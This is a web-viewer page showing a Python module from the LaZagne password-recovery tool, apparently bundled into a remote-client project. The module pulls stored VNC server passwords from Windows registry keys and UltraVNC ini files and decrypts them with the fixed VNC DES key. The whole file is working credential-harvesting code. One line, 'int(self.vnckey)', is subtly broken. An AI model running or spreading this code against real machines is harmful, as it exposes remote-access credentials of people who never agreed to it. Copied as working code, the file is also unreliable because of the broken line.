summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py
blob: b4b8030db3f814de1d421b58777467bc8ac0a478 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# Code based on vncpasswd.py by trinitronx
# https://github.com/trinitronx/vncpasswd.py
import binascii
import codecs
import traceback

try:
    import _winreg as winreg
except ImportError:
    import winreg

from . import d3des as d
from foreign.client_handling.lazagne.config.winstructure import *
from foreign.client_handling.lazagne.config.module_info import ModuleInfo


class Vnc(ModuleInfo):
    def __init__(self):
        self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7]
        ModuleInfo.__init__(self, name='vnc', category='sysadmin')

    def split_len(self, seq, length):
        return [seq[i:i + length] for i in range(0, len(seq), length)]

    def do_crypt(self, password, decrypt):
        passpadd = (password + '\x00' * 8)[:8]
        strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)])
        key = d.deskey(strkey, decrypt)
        crypted = d.desfunc(passpadd, key)
        return crypted

    def unhex(self, s):
        try:
            s = codecs.decode(s, 'hex')
        except TypeError as e:
            if e.message == 'Odd-length string':
                self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1]))
                s = codecs.decode(s[:-1], 'hex')
            else:
                return False
        return s

    def reverse_vncpassword(self, hash):
        encpasswd = self.unhex(hash)
        pwd = None
        if encpasswd:
            # If the hex encoded passwd length is longer than 16 hex chars and divisible
            # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
            # (1 hex char = 4 binary bits = 1 nibble)
            hexpasswd = codecs.encode(encpasswd, 'hex')
            if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
                splitstr = self.split_len(codecs.encode(hash, 'hex'), 16)
                cryptedblocks = []
                for sblock in splitstr:
                    cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True))
                    pwd = b''.join(cryptedblocks)
            elif len(hexpasswd) <= 16:
                pwd = self.do_crypt(encpasswd, True)
            else:
                pwd = self.do_crypt(encpasswd, True)
        return pwd

    def vnc_from_registry(self):
        pfound = []
        vncs = (
            ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'),
            ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'),
            ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
            ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'),
            ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'),
            ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'),
            ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
            ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'),
            ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'),
            ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'),
            ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'),
            ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'),
        )

        for vnc in vncs:
            try:
                if vnc[1].startswith('HKEY_LOCAL_MACHINE'):
                    hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', ''))

                elif vnc[1].startswith('HKEY_CURRENT_USER'):
                    hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', ''))

                reg_key = winreg.QueryValueEx(hkey, vnc[2])[0]
            except Exception:
                self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1]))
                continue

            try:
                enc_pwd = binascii.hexlify(reg_key).decode()
            except Exception:
                self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key))
                continue

            values = {}
            try:
                password = self.reverse_vncpassword(enc_pwd)
                if password:
                    values['Password'] = password
            except Exception:
                self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key))
                self.debug()
                continue

            values['Server'] = vnc[0]
            # values['Hash'] = enc_pwd
            pfound.append(values)

        return pfound

    def vnc_from_filesystem(self):
        # os.environ could be used here because paths are identical between users
        pfound = []
        vncs = (
            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
        )

        for vnc in vncs:
            string_to_match = vnc[2] + '='
            enc_pwd = ''
            try:
                with open(vnc[1], 'r') as file:
                    for line in file:
                        if string_to_match in line:
                            enc_pwd = line.replace(string_to_match, '').replace('\n', '')
            except Exception:
                self.debug('Problems with file: {file}'.format(file=vnc[1]))
                continue

            values = {}
            try:
                password = self.reverse_vncpassword(enc_pwd)
                if password:
                    values['Password'] = password
            except Exception:
                self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd))
                self.debug(traceback.format_exc())
                continue

            values['Server'] = vnc[0]
            # values['Hash'] = enc_pwd
            pfound.append(values)

        return pfound

    def vnc_from_process(self):
        # Not yet implemented
        return []

    def run(self):
        return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process()